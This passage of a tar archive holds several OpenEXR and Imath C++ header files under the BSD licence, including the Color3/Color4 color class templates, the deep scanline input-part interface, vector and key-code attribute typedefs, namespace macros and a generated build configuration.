EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHCOLOR_H #define INCLUDED_IMATHCOLOR_H //---------------------------------------------------- // // A three and four component color class template. // //---------------------------------------------------- #include "ImathVec.h" #include "ImathNamespace.h" #include "half.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Color3: public Vec3 <T> { public: //------------- // Constructors //------------- Color3 (); // no initialization explicit Color3 (T a); // (a a a) Color3 (T a, T b, T c); // (a b c) //--------------------------------- // Copy constructors and assignment //--------------------------------- Color3 (const Color3 &c); template <class S> Color3 (const Vec3<S> &v); const Color3 & operator = (const Color3 &c); //------------------------ // Component-wise addition //------------------------ const Color3 & operator += (const Color3 &c); Color3 operator + (const Color3 &c) const; //--------------------------- // Component-wise subtraction //--------------------------- const Color3 & operator -= (const Color3 &c); Color3 operator - (const Color3 &c) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Color3 operator - () const; const Color3 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Color3 & operator *= (const Color3 &c); const Color3 & operator *= (T a); Color3 operator * (const Color3 &c) const; Color3 operator * (T a) const; //------------------------ // Component-wise division //------------------------ const Color3 & operator /= (const Color3 &c); const Color3 & operator /= (T a); Color3 operator / (const Color3 &c) const; Color3 operator / (T a) const; }; template <class T> class Color4 { public: //------------------- // Access to elements //------------------- T r, g, b, a; T & operator [] (int i); const T & operator [] (int i) const; //------------- // Constructors //------------- Color4 (); // no initialization explicit Color4 (T a); // (a a a a) Color4 (T a, T b, T c, T d); // (a b c d) //--------------------------------- // Copy constructors and assignment //--------------------------------- Color4 (const Color4 &v); template <class S> Color4 (const Color4<S> &v); const Color4 & operator = (const Color4 &v); //---------------------- // Compatibility with Sb //---------------------- template <class S> void setValue (S a, S b, S c, S d); template <class S> void setValue (const Color4<S> &v); template <class S> void getValue (S &a, S &b, S &c, S &d) const; template <class S> void getValue (Color4<S> &v) const; T * getValue(); const T * getValue() const; //--------- // Equality //--------- template <class S> bool operator == (const Color4<S> &v) const; template <class S> bool operator != (const Color4<S> &v) const; //------------------------ // Component-wise addition //------------------------ const Color4 & operator += (const Color4 &v); Color4 operator + (const Color4 &v) const; //--------------------------- // Component-wise subtraction //--------------------------- const Color4 & operator -= (const Color4 &v); Color4 operator - (const Color4 &v) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Color4 operator - () const; const Color4 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Color4 & operator *= (const Color4 &v); const Color4 & operator *= (T a); Color4 operator * (const Color4 &v) const; Color4 operator * (T a) const; //------------------------ // Component-wise division //------------------------ const Color4 & operator /= (const Color4 &v); const Color4 & operator /= (T a); Color4 operator / (const Color4 &v) const; Color4 operator / (T a) const; //---------------------------------------------------------- // Number of dimensions, i.e. number of elements in a Color4 //---------------------------------------------------------- static unsigned int dimensions() {return 4;} //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} //-------------------------------------------------------------- // Base type -- in templates, which accept a parameter, V, which // could be a Color4<T>, you can refer to T as // V::BaseType //-------------------------------------------------------------- typedef T BaseType; }; //-------------- // Stream output //-------------- template <class T> std::ostream & operator << (std::ostream &s, const Color4<T> &v); //---------------------------------------------------- // Reverse multiplication: S * Color4<T> //---------------------------------------------------- template <class S, class T> Color4<T> operator * (S a, const Color4<T> &v); //------------------------- // Typedefs for convenience //------------------------- typedef Color3<float> Color3f; typedef Color3<half> Color3h; typedef Color3<unsigned char> Color3c; typedef Color3<half> C3h; typedef Color3<float> C3f; typedef Color3<unsigned char> C3c; typedef Color4<float> Color4f; typedef Color4<half> Color4h; typedef Color4<unsigned char> Color4c; typedef Color4<float> C4f; typedef Color4<half> C4h; typedef Color4<unsigned char> C4c; typedef unsigned int PackedColor; //------------------------- // Implementation of Color3 //------------------------- template <class T> inline Color3<T>::Color3 (): Vec3 <T> () { // empty } template <class T> inline Color3<T>::Color3 (T a): Vec3 <T> (a) { // empty } template <class T> inline Color3<T>::Color3 (T a, T b, T c): Vec3 <T> (a, b, c) { // empty } template <class T> inline Color3<T>::Color3 (const Color3 &c): Vec3 <T> (c) { // empty } template <class T> template <class S> inline Color3<T>::Color3 (const Vec3<S> &v): Vec3 <T> (v) { //empty } template <class T> inline const Color3<T> & Color3<T>::operator = (const Color3 &c) { *((Vec3<T> *) this) = c; return *this; } template <class T> inline const Color3<T> & Color3<T>::operator += (const Color3 &c) { *((Vec3<T> *) this) += c; return *this; } template <class T> inline Color3<T> Color3<T>::operator + (const Color3 &c) const { return Color3 (*(Vec3<T> *)this + (const Vec3<T> &)c); } template <class T> inline const Color3<T> & Color3<T>::operator -= (const Color3 &c) { *((Vec3<T> *) this) -= c; return *this; } template <class T> inline Color3<T> Color3<T>::operator - (const Color3 &c) const { return Color3 (*(Vec3<T> *)this - (const Vec3<T> &)c); } template <class T> inline Color3<T> Color3<T>::operator - () const { return Color3 (-(*(Vec3<T> *)this)); } template <class T> inline const Color3<T> & Color3<T>::negate () { ((Vec3<T> *) this)->negate(); return *this; } template <class T> inline const Color3<T> & Color3<T>::operator *= (const Color3 &c) { *((Vec3<T> *) this) *= c; return *this; } template <class T> inline const Color3<T> & Color3<T>::operator *= (T a) { *((Vec3<T> *) this) *= a; return *this; } template <class T> inline Color3<T> Color3<T>::operator * (const Color3 &c) const { return Color3 (*(Vec3<T> *)this * (const Vec3<T> &)c); } template <class T> inline Color3<T> Color3<T>::operator * (T a) const { return Color3 (*(Vec3<T> *)this * a); } template <class T> inline const Color3<T> & Color3<T>::operator /= (const Color3 &c) { *((Vec3<T> *) this) /= c; return *this; } template <class T> inline const Color3<T> & Color3<T>::operator /= (T a) { *((Vec3<T> *) this) /= a; return *this; } template <class T> inline Color3<T> Color3<T>::operator / (const Color3 &c) const { return Color3 (*(Vec3<T> *)this / (const Vec3<T> &)c); } template <class T> inline Color3<T> Color3<T>::operator / (T a) const { return Color3 (*(Vec3<T> *)this / a); } //----------------------- // Implementation of Color4 //----------------------- template <class T> inline T & Color4<T>::operator [] (int i) { return (&r)[i]; } template <class T> inline const T & Color4<T>::operator [] (int i) const { return (&r)[i]; } template <class T> inline Color4<T>::Color4 () { // empty } template <class T> inline Color4<T>::Color4 (T x) { r = g = b = a = x; } template <class T> inline Color4<T>::Color4 (T x, T y, T z, T w) { r = x; g = y; b = z; a = w; } template <class T> inline Color4<T>::Color4 (const Color4 &v) { r = v.r; g = v.g; b = v.b; a = v.a; } template <class T> template <class S> inline Color4<T>::Color4 (const Color4<S> &v) { r = T (v.r); g = T (v.g); b = T (v.b); a = T (v.a); } template <class T> inline const Color4<T> & Color4<T>::operator = (const Color4 &v) { r = v.r; g = v.g; b = v.b; a = v.a; return *this; } template <class T> template <class S> inline void Color4<T>::setValue (S x, S y, S z, S w) { r = T (x); g = T (y); b = T (z); a = T (w); } template <class T> template <class S> inline void Color4<T>::setValue (const Color4<S> &v) { r = T (v.r); g = T (v.g); b = T (v.b); a = T (v.a); } template <class T> template <class S> inline void Color4<T>::getValue (S &x, S &y, S &z, S &w) const { x = S (r); y = S (g); z = S (b); w = S (a); } template <class T> template <class S> inline void Color4<T>::getValue (Color4<S> &v) const { v.r = S (r); v.g = S (g); v.b = S (b); v.a = S (a); } template <class T> inline T * Color4<T>::getValue() { return (T *) &r; } template <class T> inline const T * Color4<T>::getValue() const { return (const T *) &r; } template <class T> template <class S> inline bool Color4<T>::operator == (const Color4<S> &v) const { return r == v.r && g == v.g && b == v.b && a == v.a; } template <class T> template <class S> inline bool Color4<T>::operator != (const Color4<S> &v) const { return r != v.r || g != v.g || b != v.b || a != v.a; } template <class T> inline const Color4<T> & Color4<T>::operator += (const Color4 &v) { r += v.r; g += v.g; b += v.b; a += v.a; return *this; } template <class T> inline Color4<T> Color4<T>::operator + (const Color4 &v) const { return Color4 (r + v.r, g + v.g, b + v.b, a + v.a); } template <class T> inline const Color4<T> & Color4<T>::operator -= (const Color4 &v) { r -= v.r; g -= v.g; b -= v.b; a -= v.a; return *this; } template <class T> inline Color4<T> Color4<T>::operator - (const Color4 &v) const { return Color4 (r - v.r, g - v.g, b - v.b, a - v.a); } template <class T> inline Color4<T> Color4<T>::operator - () const { return Color4 (-r, -g, -b, -a); } template <class T> inline const Color4<T> & Color4<T>::negate () { r = -r; g = -g; b = -b; a = -a; return *this; } template <class T> inline const Color4<T> & Color4<T>::operator *= (const Color4 &v) { r *= v.r; g *= v.g; b *= v.b; a *= v.a; return *this; } template <class T> inline const Color4<T> & Color4<T>::operator *= (T x) { r *= x; g *= x; b *= x; a *= x; return *this; } template <class T> inline Color4<T> Color4<T>::operator * (const Color4 &v) const { return Color4 (r * v.r, g * v.g, b * v.b, a * v.a); } template <class T> inline Color4<T> Color4<T>::operator * (T x) const { return Color4 (r * x, g * x, b * x, a * x); } template <class T> inline const Color4<T> & Color4<T>::operator /= (const Color4 &v) { r /= v.r; g /= v.g; b /= v.b; a /= v.a; return *this; } template <class T> inline const Color4<T> & Color4<T>::operator /= (T x) { r /= x; g /= x; b /= x; a /= x; return *this; } template <class T> inline Color4<T> Color4<T>::operator / (const Color4 &v) const { return Color4 (r / v.r, g / v.g, b / v.b, a / v.a); } template <class T> inline Color4<T> Color4<T>::operator / (T x) const { return Color4 (r / x, g / x, b / x, a / x); } template <class T> std::ostream & operator << (std::ostream &s, const Color4<T> &v) { return s << '(' << v.r << ' ' << v.g << ' ' << v.b << ' ' << v.a << ')'; } //----------------------------------------- // Implementation of reverse multiplication //----------------------------------------- template <class S, class T> inline Color4<T> operator * (S x, const Color4<T> &v) { return Color4<T> (x * v.r, x * v.g, x * v.b, x * v.a); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHCOLOR_H OpenEXR/ImfDeepScanLineInputPart.h 0000644 00000015626 15246445047 0013017 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFDEEPSCANLINEINPUTPART_H_ #define IMFDEEPSCANLINEINPUTPART_H_ #include "ImfMultiPartInputFile.h" #include "ImfDeepScanLineInputFile.h" #include "ImfDeepScanLineOutputFile.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepScanLineInputPart { public: DeepScanLineInputPart(MultiPartInputFile& file, int partNumber); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //----------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the InputFile object. // // The current frame buffer is the destination for the pixel // data read from the file. The current frame buffer must be // set at least once before readPixels() is called. // The current frame buffer can be changed after each call // to readPixels(). //----------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //--------------------------------------------------------------- // Check if the file is complete: // // isComplete() returns true if all pixels in the data window are // present in the input file, or false if any pixels are missing. // (Another program may still be busy writing the file, or file // writing may have been aborted prematurely.) //--------------------------------------------------------------- bool isComplete () const; //--------------------------------------------------------------- // Read pixel data: // // readPixels(s1,s2) reads all scan lines with y coordinates // in the interval [min (s1, s2), max (s1, s2)] from the file, // and stores them in the current frame buffer. // // Both s1 and s2 must be within the interval // [header().dataWindow().min.y, header.dataWindow().max.y] // // The scan lines can be read from the file in random order, and // individual scan lines may be skipped or read multiple times. // For maximum efficiency, the scan lines should be read in the // order in which they were written to the file. // // readPixels(s) calls readPixels(s,s). // // If threading is enabled, readPixels (s1, s2) tries to perform // decopmression of multiple scanlines in parallel. // //--------------------------------------------------------------- void readPixels (int scanLine1, int scanLine2); void readPixels (int scanLine); void readPixels (const char * rawPixelData,const DeepFrameBuffer & frameBuffer, int scanLine1,int scanLine2) const; //---------------------------------------------- // Read a block of raw pixel data from the file, // without uncompressing it (this function is // used to implement OutputFile::copyPixels()). //---------------------------------------------- void rawPixelData (int firstScanLine, char * pixelData, Int64 &pixelDataSize); //----------------------------------------------------------- // Read pixel sample counts into a slice in the frame buffer. // // readPixelSampleCounts(s1, s2) reads all the counts of // pixel samples with y coordinates in the interval // [min (s1, s2), max (s1, s2)] from the file, and stores // them in the slice naming "sample count". // // Both s1 and s2 must be within the interval // [header().dataWindow().min.y, header.dataWindow().max.y] // // readPixelSampleCounts(s) calls readPixelSampleCounts(s,s). //----------------------------------------------------------- void readPixelSampleCounts(int scanline1, int scanline2); void readPixelSampleCounts(int scanline); void readPixelSampleCounts( const char * rawdata , const DeepFrameBuffer & frameBuffer, int scanLine1 , int scanLine2) const; int firstScanLineInChunk(int y) const; int lastScanLineInChunk (int y) const; private: DeepScanLineInputFile *file; // needed for copyPixels friend void DeepScanLineOutputFile::copyPixels(DeepScanLineInputPart &); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFDEEPSCANLINEINPUTPART_H_ */ OpenEXR/ImfVecAttribute.h 0000644 00000010714 15246445047 0011250 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_VEC_ATTRIBUTE_H #define INCLUDED_IMF_VEC_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class V2iAttribute // class V2fAttribute // class V2dAttribute // class V3iAttribute // class V3fAttribute // class V3dAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImathVec.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<IMATH_NAMESPACE::V2i> V2iAttribute; template <> IMF_EXPORT const char *V2iAttribute::staticTypeName (); template <> IMF_EXPORT void V2iAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void V2iAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::V2f> V2fAttribute; template <> IMF_EXPORT const char *V2fAttribute::staticTypeName (); template <> IMF_EXPORT void V2fAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void V2fAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::V2d> V2dAttribute; template <> IMF_EXPORT const char *V2dAttribute::staticTypeName (); template <> IMF_EXPORT void V2dAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void V2dAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::V3i> V3iAttribute; template <> IMF_EXPORT const char *V3iAttribute::staticTypeName (); template <> IMF_EXPORT void V3iAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void V3iAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::V3f> V3fAttribute; template <> IMF_EXPORT const char *V3fAttribute::staticTypeName (); template <> IMF_EXPORT void V3fAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void V3fAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::V3d> V3dAttribute; template <> IMF_EXPORT const char *V3dAttribute::staticTypeName (); template <> IMF_EXPORT void V3dAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void V3dAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #if defined (OPENEXR_IMF_INTERNAL_NAMESPACE_AUTO_EXPOSE) namespace Imf { using namespace OPENEXR_IMF_INTERNAL_NAMESPACE; } #endif #endif OpenEXR/IexNamespace.h 0000644 00000010465 15246445047 0010560 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXNAMESPACE_H #define INCLUDED_IEXNAMESPACE_H // // The purpose of this file is to make it possible to specify an // IEX_INTERNAL_NAMESPACE as a preprocessor definition and have all of the // Iex symbols defined within that namespace rather than the standard // Iex namespace. Those symbols are made available to client code through // the IEX_NAMESPACE in addition to the IEX_INTERNAL_NAMESPACE. // // To ensure source code compatibility, the IEX_NAMESPACE defaults to Iex // and then "using namespace IEX_INTERNAL_NAMESPACE;" brings all of the // declarations from the IEX_INTERNAL_NAMESPACE into the IEX_NAMESPACE. This // means that client code can continue to use syntax like Iex::BaseExc, but // at link time it will resolve to a mangled symbol based on the // IEX_INTERNAL_NAMESPACE. // // As an example, if one needed to build against a newer version of Iex and // have it run alongside an older version in the same application, it is now // possible to use an internal namespace to prevent collisions between the // older versions of Iex symbols and the newer ones. To do this, the // following could be defined at build time: // // IEX_INTERNAL_NAMESPACE = Iex_v2 // // This means that declarations inside Iex headers look like this (after the // preprocessor has done its work): // // namespace Iex_v2 { // ... // class declarations // ... // } // // namespace Iex { // using namespace Iex_v2; // } // // // Open Source version of this file pulls in the IlmBaseConfig.h file // for the configure time options. // #include "IlmBaseConfig.h" #ifndef IEX_NAMESPACE #define IEX_NAMESPACE Iex #endif #ifndef IEX_INTERNAL_NAMESPACE #define IEX_INTERNAL_NAMESPACE IEX_NAMESPACE #endif // // We need to be sure that we import the internal namespace into the public one. // To do this, we use the small bit of code below which initially defines // IEX_INTERNAL_NAMESPACE (so it can be referenced) and then defines // IEX_NAMESPACE and pulls the internal symbols into the public namespace. // namespace IEX_INTERNAL_NAMESPACE {} namespace IEX_NAMESPACE { using namespace IEX_INTERNAL_NAMESPACE; } // // There are identical pairs of HEADER/SOURCE ENTER/EXIT macros so that // future extension to the namespace mechanism is possible without changing // project source code. // #define IEX_INTERNAL_NAMESPACE_HEADER_ENTER namespace IEX_INTERNAL_NAMESPACE { #define IEX_INTERNAL_NAMESPACE_HEADER_EXIT } #define IEX_INTERNAL_NAMESPACE_SOURCE_ENTER namespace IEX_INTERNAL_NAMESPACE { #define IEX_INTERNAL_NAMESPACE_SOURCE_EXIT } #endif // INCLUDED_IEXNAMESPACE_H OpenEXR/OpenEXRConfig.h 0000644 00000003463 15246445047 0010624 0 ustar 00 /* config/OpenEXRConfig.h. Generated from OpenEXRConfig.h.in by configure. */ // // Define and set to 1 if the target system supports a proc filesystem // compatible with the Linux kernel's proc filesystem. Note that this // is only used by a program in the IlmImfTest test suite, it's not // used by any OpenEXR library or application code. // #define OPENEXR_IMF_HAVE_LINUX_PROCFS 1 // // Define and set to 1 if the target system is a Darwin-based system // (e.g., OS X). // /* #undef OPENEXR_IMF_HAVE_DARWIN */ // // Define and set to 1 if the target system has a complete <iomanip> // implementation, specifically if it supports the std::right // formatter. // #define OPENEXR_IMF_HAVE_COMPLETE_IOMANIP 1 // // Define and set to 1 if the target system has support for large // stack sizes. // #define OPENEXR_IMF_HAVE_LARGE_STACK 1 // // Define if we can support GCC style inline asm with AVX instructions // #define OPENEXR_IMF_HAVE_GCC_INLINE_ASM_AVX 1 // // Define if we can use sysconf(_SC_NPROCESSORS_ONLN) to get CPU count // #define OPENEXR_IMF_HAVE_SYSCONF_NPROCESSORS_ONLN 1 // // Current internal library namepace name // #define OPENEXR_IMF_INTERNAL_NAMESPACE_CUSTOM 1 #define OPENEXR_IMF_INTERNAL_NAMESPACE Imf_2_2 // // Current public user namepace name // /* #undef OPENEXR_IMF_NAMESPACE_CUSTOM */ #define OPENEXR_IMF_NAMESPACE Imf // // Version string for runtime access // #define OPENEXR_VERSION_STRING "2.2.0" #define OPENEXR_PACKAGE_STRING "OpenEXR 2.2.0" #define OPENEXR_VERSION_MAJOR 2 #define OPENEXR_VERSION_MINOR 2 #define OPENEXR_VERSION_PATCH 0 // Version as a single hex number, e.g. 0x01000300 == 1.0.3 #define OPENEXR_VERSION_HEX ((OPENEXR_VERSION_MAJOR << 24) | \ (OPENEXR_VERSION_MINOR << 16) | \ (OPENEXR_VERSION_PATCH << 8)) OpenEXR/ImfKeyCodeAttribute.h 0000644 00000005230 15246445047 0012053 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_KEY_CODE_ATTRIBUTE_H #define INCLUDED_IMF_KEY_CODE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class KeyCodeAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfKeyCode.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::KeyCode> KeyCodeAttribute; template <> IMF_EXPORT const char *KeyCodeAttribute::staticTypeName (); template <> IMF_EXPORT void KeyCodeAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void KeyCodeAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfXdr.h 0000644 00000045363 15246445047 0007414 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 